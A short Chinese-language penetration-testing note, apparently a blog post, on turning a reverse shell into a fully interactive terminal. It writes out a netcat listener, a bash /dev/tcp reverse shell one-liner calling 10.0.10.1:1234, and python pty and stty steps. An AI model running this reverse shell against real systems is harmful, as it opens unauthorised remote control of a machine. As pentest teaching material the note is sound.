在渗透测试中经常需要用到反弹shell,而一般反弹回来的shell通常无法完成某些交互操作,如vi编辑文件等。这里先占个坑,简单把反弹一个完全交互shell的过程写出来,回头有机会再补充分析。

1
2
3
4
# 本地监听
stty -a //获取当前终端参数备用
stty raw //设置当前终端为raw模式,部分发行版还需要加上-echo关闭终端回显
nc -vlp 1234 //监听端口,此时当前终端无回显,盲打或将上述命令做成shell脚本
1
2
# 服务器
bash -i >& /dev/tcp/10.0.10.1/1234 0>&1 //正常反弹shell,其他方式也行
1
2
3
4
5
6
7
8
# shell回来后
python -c 'import pty; pty.spawn("/bin/bash")' //spawn pty
resize //根据当前终端尺寸重新设置COLUMNS和LINES环境变量

//如果没有resize命令,手动根据前面stty -a结果中的rows和columns值设置,如
export COLUMNS=204 LINES=51

//至此已拥有完全交互的shell
1
2
# 操作结束后恢复当前终端状态,当然重启当前终端也行
stty -raw echo

参考资料:
functional tty shell
stty(1): change/print terminal line settings - Linux man page